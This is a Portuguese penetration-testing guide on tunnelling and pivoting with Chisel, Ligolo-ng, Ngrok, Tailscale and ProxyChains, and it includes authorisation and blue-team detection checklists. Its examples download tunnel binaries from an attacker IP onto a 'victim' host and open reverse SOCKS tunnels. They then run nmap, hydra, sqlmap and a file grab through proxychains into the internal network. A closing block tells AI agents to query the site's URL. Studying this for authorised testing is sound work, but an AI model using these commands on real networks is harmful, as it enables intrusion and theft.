# Tunelamento (Pivoting)

### **📋 ÍNDICE**

1. Fundamentos do Tunelamento
2. Chisel - Túnel HTTP/HTTPS
3. Ligolo-ng - Túnel de Camada 2
4. Ngrok - Exposição Rápida de Serviços
5. Tailscale - VPN Zero Trust
6. ProxyChains - Encadeamento de Proxies
7. Comparativo e Decisão de Uso
8. Checklist de Segurança

***

### 🔍 **1. FUNDAMENTOS DO TUNELAMENTO**

#### **1.1 O que é Tunelamento?**

```yaml
DEFINIÇÃO:
  Tunelamento é a técnica de encapsular tráfego de rede dentro de outro protocolo
  para contornar restrições de firewall, NAT ou para ocultar a natureza do tráfego.

POR QUE É NECESSÁRIO:
  - Você obteve shell em um servidor interno
  - O servidor tem acesso à internet, mas não recebe conexões diretas
  - Você precisa acessar serviços internos que não estão expostos
  - Firewalls bloqueiam SSH, mas permitem HTTP/HTTPS
```

#### **1.2 Cenários de Uso**

```mermaid
graph LR
    subgraph "Atacante"
        A[Kali Linux]
    end
    
    subgraph "Firewall"
        B[Bloqueia SSH,<br/>Permite HTTP/HTTPS]
    end
    
    subgraph "Rede Interna"
        C[Servidor Comprometido]
        D[Servidor Interno]
        E[Banco de Dados]
    end
    
    A -- "Conexão HTTP" --> B
    B -- "Túnel" --> C
    C -- "Acesso Interno" --> D
    C -- "Acesso Interno" --> E
```

#### **1.3 Tipos de Tunelamento**

| Tipo           | Protocolo       | Velocidade  | Detecção    | Uso Principal         |
| -------------- | --------------- | ----------- | ----------- | --------------------- |
| **HTTP/HTTPS** | HTTP/WS         | Média       | Baixa       | Contorno de firewalls |
| **DNS**        | DNS             | Muito Baixa | Muito Baixa | Exfiltração lenta     |
| **ICMP**       | ICMP            | Baixa       | Média       | Ping tunneling        |
| **SSH**        | SSH             | Alta        | Alta        | Túnel seguro padrão   |
| **SOCKS**      | TCP             | Alta        | Média       | Proxy dinâmico        |
| **VPN**        | IPsec/WireGuard | Alta        | Alta        | Rede completa         |

***

### 🚇 **2. CHISEL - TÚNEL HTTP/HTTPS**

#### **2.1 O que é Chisel?**

```yaml
DEFINIÇÃO:
  Chisel é uma ferramenta de tunelamento rápida e configurável que encapsula
  tráfego TCP/UDP dentro de HTTP/HTTPS usando WebSockets.

VANTAGENS:
  ✅ Single binary (não requer dependências)
  ✅ Suporte a HTTP e HTTPS (com certificados)
  ✅ Reverse tunneling (cliente pode expor serviços para o servidor)
  ✅ SOCKS5 embutido
  ✅ Cross-platform (Windows, Linux, macOS)

QUANDO USAR:
  - SSH está bloqueado pelo firewall
  - Você precisa de um túnel rápido e discreto
  - Precisa de suporte a UDP
```

#### **2.2 Instalação**

```bash
# Linux
wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_amd64.gz
gunzip chisel_1.9.1_linux_amd64.gz
chmod +x chisel_1.9.1_linux_amd64
sudo mv chisel_1.9.1_linux_amd64 /usr/local/bin/chisel

# Windows (PowerShell)
Invoke-WebRequest -Uri "https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_windows_amd64.gz" -OutFile chisel.gz
# Extraia com 7-Zip ou similar

# macOS
brew install chisel
```

#### **2.3 Comandos Essenciais**

**2.3.1 Servidor Chisel**

```bash
# Servidor básico (modo padrão)
chisel server --port 8080

# Servidor com reverse tunneling habilitado
chisel server --port 8080 --reverse

# Servidor com autenticação
chisel server --port 8080 --auth "user:pass" --reverse

# Servidor com TLS (HTTPS)
chisel server --port 8443 --key key.pem --cert cert.pem --reverse

# Servidor com logs detalhados
chisel server --port 8080 --reverse --verbose
```

**2.3.2 Cliente Chisel - Forward Tunneling**

```bash
# Forward tunnel: servidor:8080 -> cliente:22 (SSH)
chisel client 10.10.10.10:8080 22:127.0.0.1:22

# Forward tunnel com múltiplas portas
chisel client 10.10.10.10:8080 22:127.0.0.1:22 80:127.0.0.1:80

# Forward tunnel com autenticação
chisel client --auth "user:pass" 10.10.10.10:8080 22:127.0.0.1:22
```

**2.3.3 Cliente Chisel - Reverse Tunneling**

```bash
# Reverse tunnel: cliente expõe porta 3389 (RDP) no servidor
chisel client 10.10.10.10:8080 R:3389:127.0.0.1:3389

# Reverse tunnel com porta remota específica
chisel client 10.10.10.10:8080 R:8888:127.0.0.1:80

# Reverse tunnel para rede interna
# Cliente na rede interna pode acessar 192.168.1.100:80 via servidor
chisel client 10.10.10.10:8080 R:8080:192.168.1.100:80
```

**2.3.4 SOCKS5 via Chisel**

```bash
# Servidor com SOCKS (cliente atua como proxy)
chisel server --port 8080 --socks5

# Cliente conecta ao SOCKS do servidor
chisel client 10.10.10.10:8080 socks

# Reverse SOCKS (servidor atua como proxy para a rede do cliente)
chisel server --port 8080 --reverse
chisel client 10.10.10.10:8080 R:socks
```

#### **2.4 Exemplo Prático de Uso**

```bash
# CENÁRIO: Você tem shell em um servidor interno (10.0.0.50)
# O servidor pode acessar a internet, mas você não pode se conectar diretamente a ele

# PASSO 1: No seu Kali (público, IP 203.0.113.10)
kali$ chisel server --port 8080 --reverse --verbose

# PASSO 2: No servidor comprometido (10.0.0.50)
victim$ wget http://203.0.113.10/chisel_linux_amd64
victim$ chmod +x chisel_linux_amd64
victim$ ./chisel_linux_amd64 client 203.0.113.10:8080 R:socks

# PASSO 3: No Kali, configure proxy
kali$ echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf

# PASSO 4: Acesse a rede interna via proxy
kali$ proxychains nmap -sT -Pn 10.0.0.1-254
kali$ proxychains curl http://10.0.0.100/admin
```

***

### 🔗 **3. LIGOLO-NG - TÚNEL DE CAMADA 2**

#### **3.1 O que é Ligolo-ng?**

```yaml
DEFINIÇÃO:
  Ligolo-ng é uma ferramenta de tunelamento de camada 2 (Ethernet) que cria
  uma interface de rede virtual no atacante, permitindo acesso direto à
  rede interna da vítima como se você estivesse fisicamente conectado.

VANTAGENS:
  ✅ Acesso a nível de camada 2 (ARP, broadcast funcionam)
  ✅ Ferramentas padrão funcionam sem modificação
  ✅ Suporte a UDP e ICMP
  ✅ Não requer alterações nas rotas do cliente

QUANDO USAR:
  - Você precisa de acesso a múltiplos hosts na rede interna
  - Ferramentas como Nmap precisam de acesso direto
  - Precisa de suporte a UDP (DNS, SNMP, etc.)
```

#### **3.2 Instalação**

```bash
# Linux (atacante)
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.5.2/ligolo-ng_linux_amd64.tar.gz
tar -xzf ligolo-ng_linux_amd64.tar.gz
sudo cp ligolo-ng /usr/local/bin/

# Windows (cliente)
# Baixar o binário do release para Windows
# https://github.com/nicocha30/ligolo-ng/releases

# Compilar do fonte (opcional)
git clone https://github.com/nicocha30/ligolo-ng.git
cd ligolo-ng
go build
```

#### **3.3 Comandos Essenciais**

**3.3.1 Servidor Ligolo (Atacante)**

```bash
# Iniciar servidor (modo proxy)
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
sudo ligolo-ng -proxy -selfcert

# Com interface específica
sudo ligolo-ng -proxy -selfcert -bind 0.0.0.0:11601

# Com logs detalhados
sudo ligolo-ng -proxy -selfcert -verbose
```

**3.3.2 Cliente Ligolo (Vítima)**

```bash
# Conectar ao servidor
./ligolo-ng -connect 203.0.113.10:11601

# Com reconnection automático
./ligolo-ng -connect 203.0.113.10:11601 -retry -retry-interval 5

# Windows (PowerShell)
.\ligolo-ng.exe -connect 203.0.113.10:11601
```

**3.3.3 Configuração de Rede no Atacante**

```bash
# Após a conexão, dentro do shell do Ligolo
ligolo-ng$ ifconfig
# Observe a interface criada (ex: tun0)

# Adicionar rota para a rede interna
sudo ip route add 10.0.0.0/24 dev ligolo

# Verificar conectividade
ping 10.0.0.50
nmap -sS -Pn 10.0.0.0/24
```

#### **3.4 Exemplo Prático**

```bash
# CENÁRIO: Servidor interno (10.0.0.50) com acesso à internet
# Rede interna: 10.0.0.0/24

# PASSO 1: Kali (atacante, público)
kali$ sudo ip tuntap add user kali mode tun ligolo
kali$ sudo ip link set ligolo up
kali$ sudo ligolo-ng -proxy -selfcert -bind 0.0.0.0:11601

# PASSO 2: Servidor comprometido
victim$ wget http://203.0.113.10/ligolo-ng_linux_amd64
victim$ chmod +x ligolo-ng_linux_amd64
victim$ ./ligolo-ng_linux_amd64 -connect 203.0.113.10:11601

# PASSO 3: No shell do Ligolo (Kali)
ligolo-ng$ session
# Selecione a sessão ativa
ligolo-ng$ ifconfig
# Observe o IP da interface (ex: 10.0.0.50)

# PASSO 4: Adicionar rota
kali$ sudo ip route add 10.0.0.0/24 dev ligolo

# PASSO 5: Testar acesso
kali$ nmap -sS -Pn 10.0.0.1-254
kali$ crackmapexec smb 10.0.0.0/24
```

***

### 🌐 **4. NGROK - EXPOSIÇÃO RÁPIDA DE SERVIÇOS**

#### **4.1 O que é Ngrok?**

```yaml
DEFINIÇÃO:
  Ngrok é um serviço de tunelamento que expõe servidores locais para a internet
  através de túneis seguros, sem necessidade de configuração de firewall.

VANTAGENS:
  ✅ Extremamente fácil de usar
  ✅ Interface web para inspecionar tráfego
  ✅ Suporte a TCP, TLS, HTTP/HTTPS
  ✅ Sem necessidade de servidor próprio

DESVANTAGENS:
  ❌ Depende de serviço de terceiros (ngrok.io)
  ❌ Versão gratuita limitada
  ❌ Tráfego passa pelos servidores ngrok

QUANDO USAR:
  - Demos rápidas para clientes
  - Testes em desenvolvimento local
  - Quando você não pode montar seu próprio servidor
```

#### **4.2 Instalação e Configuração**

```bash
# Linux
wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.tgz
tar -xzf ngrok-stable-linux-amd64.tgz
sudo mv ngrok /usr/local/bin/

# Configurar autenticação (registre-se em ngrok.com)
ngrok config add-authtoken $TOKEN

# Windows (PowerShell)
Invoke-WebRequest -Uri "https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-windows-amd64.zip" -OutFile ngrok.zip
Expand-Archive ngrok.zip -DestinationPath "C:\Tools"
```

#### **4.3 Comandos Essenciais**

```bash
# Expor servidor HTTP local (porta 80)
ngrok http 80

# Expor servidor HTTPS local (porta 443)
ngrok http https://localhost:443

# Expor serviço TCP (ex: SSH na porta 22)
ngrok tcp 22

# Expor RDP (porta 3389)
ngrok tcp 3389

# Com subdomínio fixo (pago)
ngrok http 80 --subdomain=meusite

# Com inspect habilitado (ver tráfego)
ngrok http 80 --inspect

# Configuração avançada com arquivo YAML
ngrok start --config ngrok.yml webapp
```

#### **4.4 Exemplo Prático**

```bash
# CENÁRIO: Você está em uma rede local sem acesso externo
# Precisa mostrar um POC para o cliente remotamente

# PASSO 1: Iniciar servidor web local (ex: Python)
python3 -m http.server 8000

# PASSO 2: Expor via ngrok
ngrok http 8000

# Saída:
# Forwarding: https://abc123.ngrok.io -> http://localhost:8000

# PASSO 3: Cliente acessa https://abc123.ngrok.io
# Você vê as requisições no inspect do ngrok
```

***

### 🔒 **5. TAILSCALE - VPN ZERO TRUST**

#### **5.1 O que é Tailscale?**

```yaml
DEFINIÇÃO:
  Tailscale é uma VPN baseada em WireGuard que cria uma rede mesh segura
  entre dispositivos, sem necessidade de configuração complexa de firewall.

VANTAGENS:
  ✅ Zero-config (baseado em autenticação)
  ✅ Criptografia WireGuard
  ✅ Funciona atrás de NAT e firewalls
  ✅ Rede mesh (conexão direta entre dispositivos)
  ✅ MagicDNS (resolução de nomes automática)

DESVANTAGENS:
  ❌ Depende do serviço de coordination da Tailscale
  ❌ Versão gratuita limitada a 3 usuários/20 dispositivos

QUANDO USAR:
  - Equipes de pentest precisam compartilhar acesso a redes internas
  - Acesso remoto seguro a infraestruturas de teste
  - Criar redes isoladas para diferentes clientes
```

#### **5.2 Instalação e Configuração**

```bash
# Linux (Ubuntu/Debian)
curl -fsSL https://tailscale.com/install.sh | sh
sudo tailscale up

# macOS
brew install tailscale
sudo tailscale up

# Windows (PowerShell como Admin)
winget install Tailscale.Tailscale
tailscale up

# Após login, obter IP da Tailscale
tailscale ip
```

#### **5.3 Comandos Essenciais**

```bash
# Iniciar Tailscale
tailscale up

# Iniciar com tags específicas
tailscale up --advertise-tags=tag:pentest

# Iniciar como exit node (rotear tráfego)
tailscale up --advertise-exit-node

# Iniciar com subnet routing (acesso a rede local)
tailscale up --advertise-routes=192.168.1.0/24

# Ver dispositivos na rede
tailscale status

# Ver IPs dos peers
tailscale ip -4

# Desabilitar Tailscale
tailscale down

# Compartilhar acesso com outro usuário
tailscale share device-name user@example.com
```

#### **5.4 Exemplo Prático**

```bash
# CENÁRIO: Equipe de 3 pentesters precisa acessar a mesma rede interna

# PASSO 1: Membros da equipe instalam Tailscale
# Cada um executa:
tailscale up

# PASSO 2: Criar uma rede compartilhada
# No servidor que tem acesso à rede interna:
tailscale up --advertise-routes=10.0.0.0/24

# PASSO 3: Aprovar as rotas no admin console
# https://login.tailscale.com/admin/machines

# PASSO 4: Os outros membros agora têm acesso à rede 10.0.0.0/24
ssh user@10.0.0.50  # Acesso direto!

# PASSO 5: Compartilhar máquina específica
tailscale share internal-server client@example.com
```

***

### 🔗 **6. PROXYCHAINS - ENCADEAMENTO DE PROXIES**

#### **6.1 O que é ProxyChains?**

```yaml
DEFINIÇÃO:
  ProxyChains é uma ferramenta que força qualquer programa TCP a passar
  o tráfego através de uma cadeia de proxies (SOCKS4, SOCKS5, HTTP).

VANTAGENS:
  ✅ Funciona com qualquer programa (nmap, curl, ssh)
  ✅ Suporte a múltiplos proxys em cadeia
  ✅ Dynamic chaining (proxy dinâmico)
  ✅ Muito leve e configurável

QUANDO USAR:
  - Você tem um proxy SOCKS estabelecido (via Chisel, SSH, etc.)
  - Precisa que ferramentas padrão (nmap) usem o proxy
  - Quer anonimizar múltiplos saltos
```

#### **6.2 Instalação e Configuração**

```bash
# Instalação
sudo apt install proxychains4

# Arquivo de configuração
sudo vim /etc/proxychains4.conf

# Configuração básica para SOCKS5 local
# No arquivo, descomente ou adicione:
# socks5 127.0.0.1 1080
```

#### **6.3 Configuração Avançada**

```ini
# /etc/proxychains4.conf

# Modo de operação
# dynamic_chain (só usa proxys funcionando)
# strict_chain (todos proxys devem funcionar)
# random_chain (ordem aleatória)
dynamic_chain

# Tipo de DNS
# proxy_dns (resolve via proxy)
# remote_dns (resolve no destino)
proxy_dns

# Timeout em ms
tcp_read_time_out 15000
tcp_connect_time_out 8000

# Lista de proxies (ordem da cadeia)
[ProxyList]
socks5 127.0.0.1 1080
socks4 127.0.0.1 1081
http 127.0.0.1 3128
```

#### **6.4 Comandos e Exemplos**

```bash
# Uso básico
proxychains4 nmap -sT -Pn 10.0.0.1

# Com socks5 do Chisel
proxychains4 curl http://10.0.0.100/admin

# Com sshuttle + proxychains
sshuttle -r user@server 10.0.0.0/24
proxychains4 nmap -sT -Pn 10.0.0.0/24

# Chain múltiplo (ex: Chile -> Brasil -> EUA)
proxychains4 firefox

# Forçar DNS via proxy (importante para evitar leaks)
proxychains4 dig @8.8.8.8 google.com

# Com outras ferramentas
proxychains4 hydra -l admin -P pass.txt 10.0.0.100 ssh
proxychains4 wget http://10.0.0.100/secret.zip
proxychains4 sqlmap -u "http://10.0.0.100/login.php" --data "user=admin"
```

#### **6.5 Integração com Outras Ferramentas**

```bash
# 1. Chisel + ProxyChains
# No servidor (Kali)
chisel server --port 8080 --reverse --socks5

# No cliente (vítima)
chisel client YOUR_IP:8080 R:socks

# Usar ProxyChains
proxychains4 nmap -sT -Pn 10.0.0.0/24

# 2. SSH + ProxyChains
# Tunnel SSH com SOCKS
ssh -D 1080 -N user@server.com

# Usar ProxyChains
proxychains4 curl http://internal-site.local

# 3. Ligolo + ProxyChains
# Ligolo já cria interface, mas pode combinar com ProxyChains
# para encadear com outros proxys

# 4. Ngrok + ProxyChains
# Ngrok expõe, mas não é proxy SOCKS
# Use Chisel + Ngrok para expor um proxy
```

***

### 📊 **7. COMPARATIVO E DECISÃO DE USO**

#### **7.1 Matriz de Decisão**

| Cenário                               | Ferramenta Recomendada | Justificativa                  |
| ------------------------------------- | ---------------------- | ------------------------------ |
| **SSH bloqueado, HTTP permitido**     | Chisel                 | Túnel sobre HTTP/HTTPS         |
| **Acesso a múltiplos hosts internos** | Ligolo-ng              | Camada 2, acesso direto        |
| **Demonstração rápida para cliente**  | Ngrok                  | Simples, rápido, web interface |
| **Equipe compartilhando acesso**      | Tailscale              | VPN zero-trust, fácil gestão   |
| **Forçar ferramentas via proxy**      | ProxyChains            | Funciona com qualquer programa |
| **Conexão estável de longo prazo**    | Chisel + ProxyChains   | Estável, configurável          |

#### **7.2 Comparativo Detalhado**

| Característica              | Chisel     | Ligolo-ng      | Ngrok      | Tailscale | ProxyChains |
| --------------------------- | ---------- | -------------- | ---------- | --------- | ----------- |
| **Protocolo**               | HTTP/HTTPS | TCP (camada 2) | HTTP/HTTPS | WireGuard | Qualquer    |
| **Nível**                   | Camada 7   | Camada 2       | Camada 7   | Camada 3  | Camada 5-7  |
| **Requer servidor próprio** | ✅ Sim      | ✅ Sim          | ❌ Não      | ❌ Não     | N/A         |
| **Suporte UDP**             | ✅ Sim      | ✅ Sim          | ❌ Não      | ✅ Sim     | ❌ Não       |
| **Suporte a broadcast**     | ❌ Não      | ✅ Sim          | ❌ Não      | ❌ Não     | N/A         |
| **Facilidade de uso**       | Média      | Média          | Alta       | Alta      | Média       |
| **Stealth**                 | Alta       | Média          | Baixa      | Média     | N/A         |
| **Performance**             | Alta       | Muito Alta     | Alta       | Alta      | Variável    |

#### **7.3 Fluxo de Decisão**

```mermaid
graph TD
    A[Precisa de tunelamento?] --> B{SSH permitido?}
    
    B -->|Sim| C[Use SSH Tunnel<br/>ssh -D 1080]
    B -->|Não| D{HTTP/HTTPS permitido?}
    
    D -->|Sim| E[Use Chisel]
    D -->|Não| F{Precisa de acesso nível rede?}
    
    F -->|Sim| G[Use Ligolo-ng]
    F -->|Não| H[Use DNS Tunneling]
    
    E --> I{Precisa de proxy para ferramentas?}
    G --> I
    H --> I
    
    I -->|Sim| J[Configure ProxyChains]
    I -->|Não| K[Acesso direto]
```

***

### ✅ **8. CHECKLIST DE SEGURANÇA**

#### **8.1 Checklist de Configuração**

```markdown
## 🔒 ANTES DE INICIAR O TÚNEL

- [ ] Autorização do cliente obtida?
- [ ] Escopo do teste definido?
- [ ] Quais redes serão acessadas via túnel?
- [ ] Servidor de tunelamento está seguro?
- [ ] Autenticação configurada (Chisel, Ngrok)?

## 🔐 DURANTE O USO

- [ ] Logs do túnel estão sendo salvos?
- [ ] Tráfego sensível está criptografado?
- [ ] Credenciais não estão em texto plano?
- [ ] Acesso ao túnel é monitorado?

## 🧹 APÓS O TESTE

- [ ] Túnel foi encerrado corretamente?
- [ ] Interfaces virtuais removidas (Ligolo)?
- [ ] Regras de rota removidas?
- [ ] Servidor Chisel/Ngrok encerrado?
- [ ] Logs de tráfego preservados?
```

#### **8.2 Checklist de Detecção (Blue Team)**

```markdown
## 🔍 COMO DETECTAR TUNELAMENTO

- [ ] Tráfego HTTP/HTTPS com padrões de WebSocket
- [ ] Conexões longas e persistentes em portas incomuns
- [ ] Tráfego de DNS com tamanhos anormais
- [ ] Picos de tráfego ICMP (ping tunneling)
- [ ] Headers HTTP anormais (User-Agent, etc.)
- [ ] Múltiplas conexões para o mesmo IP externo
```

***

### 📚 **RESUMO EXECUTIVO**

```yaml
TUNELAMENTO E PROXY EM TESTES DE PENETRAÇÃO:

  🎯 PROPÓSITO:
    Contornar restrições de rede, acessar serviços internos
    e ocultar a natureza do tráfego durante testes.

  🚇 FERRAMENTAS PRINCIPAIS:
    - Chisel: Túnel HTTP/HTTPS, ótimo para contornar firewalls
    - Ligolo-ng: Túnel camada 2, acesso direto à rede interna
    - Ngrok: Exposição rápida, ideal para demos
    - Tailscale: VPN zero-trust para equipes
    - ProxyChains: Força ferramentas a usar proxy

  🔧 ESCOLHA CERTA:
    - SSH bloqueado? → Chisel
    - Rede interna complexa? → Ligolo-ng
    - Demo rápida? → Ngrok
    - Trabalho em equipe? → Tailscale
    - Ferramentas padrão? → ProxyChains

  ⚠️ LEMBRE-SE:
    - Sempre obtenha autorização antes de tunelar
    - Logs salvam sua reputação
    - Criptografia não é opcional
    - Limpeza pós-teste é obrigatória
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/metodos/reconhecimento/ativo/rede-interna/tunelamento-pivoting.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.